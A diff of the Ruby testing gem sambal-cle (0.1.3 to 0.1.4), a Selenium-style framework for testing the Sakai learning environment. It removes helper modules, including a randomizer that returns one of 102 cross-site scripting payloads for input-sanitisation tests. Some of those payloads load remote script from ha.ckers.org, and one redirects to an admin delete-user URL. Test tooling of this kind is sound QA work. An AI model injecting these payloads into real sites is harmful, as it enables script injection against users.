sambal-cle 0.1.3 → 0.1.4

metadata

@@ -1,24 +1,25 @@
 --- !ruby/object:Gem::Specification
 name: sambal-cle
 version: !ruby/object:Gem::Version
-  version: 0.1.3
+  version: 0.1.4
   prerelease: 
 platform: ruby
 authors:
 - Abraham Heward
+- Jon Utter
 autorequire: 
 bindir: bin
 cert_chain: []
-date: 2012-10-11 00:00:00.000000000 Z
+date: 2012-10-29 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
-  name: watir-webdriver
+  name: test-factory
   requirement: !ruby/object:Gem::Requirement
     none: false
     requirements:
     - - ! '>='
       - !ruby/object:Gem::Version
-        version: 0.5.5
+        version: 0.0.1
   type: :runtime
   prerelease: false
   version_requirements: !ruby/object:Gem::Requirement
@@ -26,36 +27,22 @@ dependencies:
     requirements:
     - - ! '>='
       - !ruby/object:Gem::Version
-        version: 0.5.5
-- !ruby/object:Gem::Dependency
-  name: selenium-webdriver
-  requirement: !ruby/object:Gem::Requirement
-    none: false
-    requirements:
-    - - ! '>='
-      - !ruby/object:Gem::Version
-        version: 2.21.2
-  type: :runtime
-  prerelease: false
-  version_requirements: !ruby/object:Gem::Requirement
-    none: false
-    requirements:
-    - - ! '>='
-      - !ruby/object:Gem::Version
-        version: 2.21.2
-description: The Sambal-CLE gem provides an API for interacting with pages and page
-  elements in rSmart's deployment of the Sakai Collaborative Learning Environment.
+        version: 0.0.1
+description: This gem is used for creating test scripts for the Sakai Collaborative
+  Learning Environment.
 email:
 - ! '"aheward@rsmart.com"'
+- ! '"jutter@rsmart.com"'
 executables: []
 extensions: []
 extra_rdoc_files: []
 files:
 - lib/sambal-cle/base_page.rb
-- lib/sambal-cle/core-ext.rb
 - lib/sambal-cle/data_objects/announcement.rb
 - lib/sambal-cle/data_objects/assessment.rb
 - lib/sambal-cle/data_objects/assignment.rb
+- lib/sambal-cle/data_objects/assignment_permissions.rb
+- lib/sambal-cle/data_objects/assignment_submission.rb
 - lib/sambal-cle/data_objects/blog.rb
 - lib/sambal-cle/data_objects/blogger.rb
 - lib/sambal-cle/data_objects/chat_room.rb
@@ -67,12 +54,9 @@ files:
 - lib/sambal-cle/data_objects/resource.rb
 - lib/sambal-cle/data_objects/site.rb
 - lib/sambal-cle/data_objects/syllabus.rb
+- lib/sambal-cle/data_objects/user.rb
 - lib/sambal-cle/data_objects/web_content_tool.rb
 - lib/sambal-cle/data_objects/wiki.rb
-- lib/sambal-cle/date_makers.rb
-- lib/sambal-cle/gem_ext.rb
-- lib/sambal-cle/page_helper.rb
-- lib/sambal-cle/page_maker.rb
 - lib/sambal-cle/page_objects/account.rb
 - lib/sambal-cle/page_objects/aliases.rb
 - lib/sambal-cle/page_objects/announcements.rb
@@ -127,7 +111,6 @@ files:
 - lib/sambal-cle/page_objects/syllabus.rb
 - lib/sambal-cle/page_objects/user_membership.rb
 - lib/sambal-cle/page_objects/users.rb
-- lib/sambal-cle/randomizers.rb
 - lib/sambal-cle/rich_text.rb
 - lib/sambal-cle/utilities.rb
 - lib/sambal-cle/workflows.rb
@@ -135,12 +118,20 @@ files:
 - README.md
 - sambal-cle.gemspec
 - test/add_assignment_to_calendar_spec.rb
+- test/assessment_create_spec.rb
 - test/assignment_announcements_spec.rb
+- test/assignment_duplicate_spec.rb
 - test/assignment_gradebook_spec.rb
+- test/assignment_permissions_spec.rb
+- test/assignments_grading_spec.rb
+- test/assignments_submission_spec.rb
+- test/config.yml
 - test/config.yml.template
+- test/directory.yml
 - test/directory.yml.template
 - test/duplicate_site_spec.rb
-homepage: https://github.com/rSmart/sambal-cle
+- test/import_site_content_spec.rb
+homepage: https://github.com/rSmart
 licenses: []
 post_install_message: 
 rdoc_options: []
@@ -163,5 +154,5 @@ rubyforge_project:
 rubygems_version: 1.8.24
 signing_key: 
 specification_version: 3
-summary: Sakai-CLE functional testing API for the rSmart Collaborative Learning Environment
+summary: rSmart's test framework for testing Sakai-CLE
 test_files: []

data/lib/sambal-cle/core-ext.rb

@@ -1,90 +0,0 @@
-class Time
-
-  # Using the :year_range option (or no option), this method creates a
-  # Time object of a random value, within
-  # the year range specified (default is 5 years in the past).
-  #
-  # Using the :series option, this method returns an array
-  # containing a randomized Time object as its first element (limited by
-  # the specified :year_range value). Subsequent elements will be Time objects
-  # with values putting them later than the prior element, within the specified
-  # range value (see examples).
-  #
-  # Usage Examples:
-  # @example
-  #   a random date...
-  #   ?> Time.random
-  #   => Tue Aug 05 00:00:00 EDT 2007
-  #
-  #   birthdays, anyone?...
-  #   5.times { p Time.random(:year_range=>80) }
-  #   Wed Feb 06 00:00:00 EDT 1974
-  #   Tue Dec 22 00:00:00 EST 1992
-  #   Fri Apr 14 00:00:00 EWT 1944
-  #   Thu Jul 01 00:00:00 EDT 1993
-  #   Wed Oct 02 00:00:00 EDT 2002
-  #
-  #   A series of dates are useful for account-related info...
-  #   ?> Time.random(:series=>[20.days, 3.years])
-  #   => [Sat Jan 22 00:00:00 EST 2005,
-  #   Sat Jan 29 12:58:45 EST 2005,
-  #   Fri Sep 08 09:34:58 EDT 2006]
-  #
-  #   or maybe to simulate events during an hour?...
-  #   ?> Time.random(:series=>[1.hour,1.hour,1.hour])
-  #   => [Wed Apr 21 00:00:00 EDT 2004,
-  #   Wed Apr 21 00:45:59 EDT 2004,
-  #   Wed Apr 21 01:02:47 EDT 2004,
-  #   Wed Apr 21 01:31:00 EDT 2004]
-  def self.random(params={})
-    years_back = params[:year_range] || 5
-    year = (rand * (years_back)).ceil + (Time.now.year - years_back)
-    month = (rand * 12).ceil
-    day = (rand * 31).ceil
-    series = [date = Time.local(year, month, day)]
-    if params[:series]
-      params[:series].each do |some_time_after|
-        series << series.last + (rand * some_time_after).ceil
-      end
-      return series
-    end
-    date
-  end
-
-end  # Time
-
-module Enumerable
-
-  # Use for getting a natural sort order instead of the ASCII
-  # sort order.
-  def alphabetize
-    sort { |a, b| grouped_compare(a, b) }
-  end
-
-  # Use for sorting an Enumerable object in place.
-  def alphabetize!
-    sort! { |a, b| grouped_compare(a, b) }
-  end
-
-  private
-  def grouped_compare(a, b)
-    loop {
-      a_chunk, a = extract_alpha_or_number_group(a)
-      b_chunk, b = extract_alpha_or_number_group(b)
-      ret = a_chunk <=> b_chunk
-      return -1 if a_chunk == ''
-      return ret if ret != 0
-    }
-  end
-
-  def extract_alpha_or_number_group(item)
-    test_item = item.downcase
-    matchdata = /([a-z]+|[\d]+)/.match(test_item)
-    if matchdata.nil?
-      ["", ""]
-    else
-      [matchdata[0], test_item = test_item[matchdata.offset(0)[1] .. -1]]
-    end
-  end
-
-end # Enumerable

data/lib/sambal-cle/date_makers.rb

@@ -1,118 +0,0 @@
-# Some date and time helper functions....
-module DateMakers
-
-  MONTHS = %w{JAN FEB MAR APR MAY JUN JUL AUG SEP OCT NOV DEC}
-  def an_hour_ago
-    date_factory(Time.now - 3600)
-  end
-  alias last_hour an_hour_ago
-
-  def right_now
-    date_factory(Time.now)
-  end
-
-  def in_an_hour
-    date_factory(Time.now + 3600)
-  end
-  alias next_hour in_an_hour
-
-  def last_year
-    date_factory(Time.now - (3600*24*365))
-  end
-  alias a_year_ago last_year
-
-  def last_month
-    index = MONTHS.index(current_month)
-    return MONTHS[index-1]
-  end
-
-  def hours_ago(num)
-    date_factory(Time.now - num*3600)
-  end
-
-  def hours_from_now(num)
-    date_factory(Time.now + num*3600)
-  end
-
-  def minutes_ago(num)
-    date_factory(Time.now - num*60)
-  end
-
-  def minutes_from_now(num)
-    date_factory(Time.now + num*60)
-  end
-
-  def current_month
-    Time.now.strftime("%^b")
-  end
-
-  def next_month
-    index = MONTHS.index(current_month)
-    if index < 11
-      return MONTHS[index+1]
-    else
-      return MONTHS[0]
-    end
-  end
-
-  def in_a_year
-    date_factory(Time.now + (3600*24*365))
-  end
-
-  def yesterday
-    date_factory(Time.now - (3600*24))
-  end
-
-  def tomorrow
-    date_factory(Time.now + (3600*24))
-  end
-
-  def in_a_week
-    date_factory(Time.now + (3600*24*7))
-  end
-  alias next_week in_a_week
-
-  def a_week_ago
-    date_factory(Time.now - (3600*24*7))
-  end
-
-  def next_monday
-    date_factory(Time.at(Time.now+(8-Time.now.wday)*24*3600))
-  end
-
-  # Formats a date string Sakai-style.
-  # Useful for verifying creation dates and such.
-  #
-  # Supplied variable must be of of the Time class.
-  def make_date(time_object)
-    month = time_object.strftime("%b ")
-    day = time_object.strftime("%-d")
-    year = time_object.strftime(", %Y ")
-    mins = time_object.strftime(":%M %P")
-    hour = time_object.strftime("%l").to_i
-    return month + day + year + hour.to_s + mins
-  end
-
-  # Takes a time object and returns a hash containing
-  # various parts of the relevant date.
-  def date_factory(time_object)
-    {
-        :sakai=>make_date(time_object),
-        :short_date=>time_object.strftime("%b %-d, %Y"), # => "Oct 18, 2013"
-        :MON => time_object.strftime("%^b"), # => "DEC"
-        :Mon => time_object.strftime("%b"), # => "Jan"
-        :Month => time_object.strftime("%B"), # => "February"
-        :month_int => time_object.month, # => 3
-        :day_of_month => time_object.day, # => 17 Note this is not zero-padded
-        :weekday => time_object.strftime("%A"), # => "Monday"
-        :wkdy => time_object.strftime("%a"), # => "Tue"
-        :year => time_object.year, # => 2013
-        :hour => time_object.strftime("%I").to_i, # => "07" Zero-padded, 12-hour clock
-        :minute => (time_object).strftime("%M"), # => "02" Zero-padded
-        :minute_rounded => (Time.at(time_object.to_i/(5*60)*(5*60))).strftime("%M"), # => "05" Zero-padded, rounded to 5-minute increments
-        :meridian => time_object.strftime("%P"), # => "pm"
-        :MERIDIAN => time_object.strftime("%p") # => "AM"
-    }
-  end
-
-end

data/lib/sambal-cle/gem_ext.rb

@@ -1,23 +0,0 @@
-# Need this to extend Watir to be able to attach to Sakai's non-standard tags...
-module Watir
-  class Element
-    # attaches to the "headers" tags inside of the assignments table.
-    def headers
-      @how = :ole_object
-      return @o.headers
-    end
-
-    # attaches to the "for" tags in "label" tags.
-    def for
-      @how = :ole_object
-      return @o.for
-    end
-
-    # attaches to the "summary" tag
-    def summary
-      @how = :ole_object
-      return @o.summary
-    end
-
-  end
-end

data/lib/sambal-cle/page_helper.rb

@@ -1,22 +0,0 @@
-module PageHelper
-
-  def visit page_class, &block
-    on page_class, true, &block
-  end
-
-  def on page_class, visit=false, &block
-    @current_page = page_class.new @browser, visit
-    block.call @current_page if block
-    @current_page
-  end
-  alias on_page on
-
-  def make data_object_class, opts={}
-    data_object_class.new @browser, opts
-  end
-
-  def wait_until(timeout=30, message=nil, &block)
-    Object::Watir::Wait.until(timeout, message, &block)
-  end
-
-end

data/lib/sambal-cle/page_maker.rb

@@ -1,48 +0,0 @@
-class PageMaker
-
-  def initialize browser, visit = false
-    @browser = browser
-    goto if visit
-    expected_element if respond_to? :expected_element
-    has_expected_title? if respond_to? :has_expected_title?
-  end
-
-  def method_missing sym, *args, &block
-    @browser.send sym, *args, &block
-  end
-
-  class << self
-
-    def page_url url
-      define_method 'goto' do
-        @browser.goto url
-      end
-    end
-
-    def expected_element element_name, timeout=30
-      define_method 'expected_element' do
-        self.send(element_name).wait_until_present timeout
-      end
-    end
-
-    def expected_title expected_title
-      define_method 'has_expected_title?' do
-        has_expected_title = expected_title.kind_of?(Regexp) ? expected_title =~ @browser.title : expected_title == @browser.title
-        raise "Expected title '#{expected_title}' instead of '#{@browser.title}'" unless has_expected_title
-      end
-    end
-
-    def element element_name
-      raise "#{element_name} is being defined twice in #{self}!" if self.instance_methods.include?(element_name.to_sym)
-      define_method element_name.to_s do
-        yield self
-      end
-    end
-
-    alias :value :element
-    alias :action :element
-    alias :thing :element
-
-  end
-
-end # PageMaker

data/lib/sambal-cle/randomizers.rb

@@ -1,117 +0,0 @@
-# coding: UTF-8
-module Randomizers
-
-  # A random string creator that draws from all printable ASCII characters
-  # from 33 to 128. Default length is 10 characters.
-  def random_string(length=10, s="")
-    length.enum_for(:times).inject(s) do |result, index|
-      s << rand(93) + 33
-    end
-  end
-
-  # A random string creator that draws from all printable ASCII and High ASCII characters
-  # from 33 to 256. Default length is 10 characters.
-  def random_high_ascii(length=10, s="")
-    length.enum_for(:times).inject(s) do |result, index|
-      s << rand(223) + 33
-    end
-  end
-
-  # A "friendlier" random string generator. No characters need to be escaped for valid URLs.
-  # Uses no Reserved or "Unsafe" characters.
-  # Also excludes the comma, the @ sign and the plus sign. Default length is 10 characters.
-  def random_nicelink(length=10)
-    chars = %w{a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 _ - .}
-    (0...length).map { chars[rand(chars.size)]}.join
-  end
-
-  # Returns a string that is properly formatted like an email address.
-  # The string returned defaults to 268 characters long.
-  # Including a number between 1 and 62 will shrink this string by 62 minus the specified
-  # value.
-  def random_email(x=62)
-    x > 62 ? x=62 : x=x
-    chars = %w{a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ! # $ % & ' * + - / = ? ^ _ ` { | } ~}
-    random_alphanums(1) + (0...x).map { chars[rand(chars.size)]}.join + random_alphanums(1) + "@" + random_alphanums(60) + ".com"
-  end
-
-  # A random string generator that uses all characters
-  # available on an American Qwerty keyboard.
-  def random_alphanums_plus(length=10, s="")
-    chars = %w{ a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ` ~ ! @  # $% ^ & * ( ) _ + - = { } [ ] \ : " ; ' < > ? , . / }
-    length.times { s << chars[rand(chars.size)] }
-    s.to_s
-  end
-
-  # A random string generator that uses only letters and numbers in the string. Default length is 10 characters.
-  def random_alphanums(length=10, s="")
-    chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ0123456789'
-    length.times { s << chars[rand(chars.size)] }
-    s.to_s
-  end
-
-  # A random string generator that uses only lower case letters.
-  def random_letters(length=10, s="")
-    chars = 'abcdefghjkmnpqrstuvwxyz'
-    length.times { s << chars[rand(chars.size)] }
-    s.to_s
-  end
-
-  # Returns a block of text (of the specified type, see below) containing
-  # the specified number of "words" (each containing between 1 and 16 chars)
-  # randomly spread across the specified number of lines (note that
-  # the method does not allow the line count to be larger than
-  # the word count and will "fix" it if it is).
-  #
-  # If no parameters are provided, the method will return two alphanumeric
-  # "words" on two lines.
-  #
-  # The last parameter the method takes will determine the character content
-  # of the string, viz.:
-  #
-  # :alpha => "Alphanumeric" - Uses the random_alphanums method
-  # :string => uses the random_string method, so chars 33 through 128 will be included
-  # :ascii => All ASCII chars from 33 to 256 are fair game -> uses random_high_ascii
-  def random_multiline(word_count=2, line_count=2, char_type=:alpha)
-    char_methods = {:alpha=>"random_alphanums(rand(16)+1)", :string=>"random_string(rand(16)+1)", :ascii=>"random_high_ascii(rand(16)+1)"}
-    if line_count > word_count
-      line_count = word_count - 1
-    end
-    words = []
-    non_words = []
-    word_count.times { words << eval(char_methods[char_type]) } # creating the words, adding to the array
-    (line_count - 1).times { non_words << "\n" } # adding the number of line feeds
-    unless word_count==line_count
-      (word_count - line_count - 1).times { non_words << " " } # adding the right number of spaces
-    end
-    non_words.shuffle! # Have to shuffle the line feeds around!
-    array = words.zip(non_words)
-    array.flatten!
-    array.join("")
-  end
-
-  # Picks at random from the list of XSS test strings, using
-  # the provided number as size of the list to choose from.
-  # It will randomly pre-pend the string with HTML closing tags.
-  #
-  # The strings are organized by length, with the shorter ones
-  # first. There are 102 strings.
-  def random_xss_string(number=102)
-    if number > 102
-      number = 102
-    end
-    xss = ["<PLAINTEXT>", "\\\";alert('XSS');//", "'';!--\"<XSS>=&{()}", "<IMG SRC=\"mocha:alert('XSS')\">", "<BODY ONLOAD=alert('XSS')>", "<BODY ONLOAD =alert('XSS')>", "<BR SIZE=\"&{alert('XSS')}\">", "¼script¾alert(¢XSS¢)¼/script¾", "<IMG SRC=\"livescript:alert('XSS')\">", "<SCRIPT SRC=//ha.ckers.org/.j>", "<IMG SRC=javascript:alert('XSS')>", "<IMG SRC=JaVaScRiPt:alert('XSS')>", "<<SCRIPT>alert(\"XSS\");//<</SCRIPT>", "<IMG SRC=\"javascript:alert('XSS')\"", "<IMG SRC='vbscript:msgbox(\"XSS\")'>", "<A HREF=\"http://1113982867/\">XSS</A>", "<IMG SRC=\"javascript:alert('XSS');\">", "<IMG SRC=\"jav\tascript:alert('XSS');\">", "<XSS STYLE=\"behavior: url(xss.htc);\">", "</TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>", "<IMG DYNSRC=\"javascript:alert('XSS')\">", "<A HREF=\"http://66.102.7.147/\">XSS</A>", "<IMG LOWSRC=\"javascript:alert('XSS')\">", "<BGSOUND SRC=\"javascript:alert('XSS');\">", "<BASE HREF=\"javascript:alert('XSS');//\">", "<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">", "<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>", "<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">", "<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">", "<XSS STYLE=\"xss:expression(alert('XSS'))\">", "<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">", "<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>", "<IMG SRC=\" &#14; javascript:alert('XSS');\">", "<IMG SRC=javascript:alert(&quot;XSS&quot;)>", "<BODY BACKGROUND=\"javascript:alert('XSS')\">", "<TABLE BACKGROUND=\"javascript:alert('XSS')\">", "<DIV STYLE=\"width: expression(alert('XSS'));\">", "<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">", "<iframe src=http://ha.ckers.org/scriptlet.html <", "<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>", "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>", "<A HREF=\"http://0x42.0x0000066.0x7.0x93/\">XSS</A>", "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">", "<A HREF=\"http://0102.0146.0007.00000223/\">XSS</A>", "<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>", "<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT>", "<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>", "<BODY onload!\#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>", "<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">", "<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>", "<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>", "<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<? echo('<SCR)'; echo('IPT>alert(\"XSS\")</SCRIPT>'); ?>", "<SCRIPT =\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">", "<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER>", "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>", "<SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">", "<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>", "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", "perl -e 'print \"<SCR\\0IPT>alert(\\\"XSS\\\")</SCR\\0IPT>\";' > out", "<IMG SRC = \" j a v a s c r i p t : a l e r t ( ' X S S ' ) \" >", "Redirect 302 /a.jpg http://www.rsmart.com/admin.asp&deleteuser", "perl -e 'print \"<IMG SRC=java\\0script:alert(\\\"XSS\\\")>\";' > out", "<!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]-->", "<DIV STYLE=\"background-image: url(&#1;javascript:alert('XSS'))\">", "<A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">XSS</A>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">", "a=\"get\"; b=\"URL(\\\"\"; c=\"javascript:\"; d=\"alert('XSS');\\\")\"; eval(a+b+c+d);", "<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>", "<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>", "<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>", "<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS", "<META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\">", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">", "<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>", "<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>", "<XML SRC=\"xsstest.xml\" ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;\">", "exp/*<A STYLE='no\\xss:noxss(\"*//*\"); xss:&#101;x&#x2F;*XSS*//*/*/pression(alert(\"XSS\"))'>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">", "<!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'\"-->", "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>", "<HTML xmlns:xss> <?import namespace=\"xss\" implementation=\"http://ha.ckers.org/xss.htc\"> <xss:xss>XSS</xss:xss> </HTML>", "<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>", "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-", "<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>", "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert('XSS');\">]]> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<XML ID=\"xss\"><I><B>&lt;IMG SRC=\"javas<!-- -->cript:alert('XSS')\"&gt;</B></I></XML> <SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>", "<DIV STYLE=\"background-image:\\0075\\0072\\006C\\0028'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029'\\0029\">", "<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>", "';alert(String.fromCharCode(88,83,83))//\\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>", "<HTML><BODY> <?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\"> <?import namespace=\"t\" implementation=\"#default#time2\"> <t:set attributeName=\"innerHTML\" to=\"XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;\"> </BODY></HTML>", "<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>"]
-    x = rand(4)
-    case(x)
-      when 0
-        return xss[rand(number)]
-      when 1
-        return %|"| + xss[rand(number)]
-      when 2
-        return %|">| + xss[rand(number)]
-      when 3
-        return %|>| + xss[rand(number)]
-    end
-
-  end
-end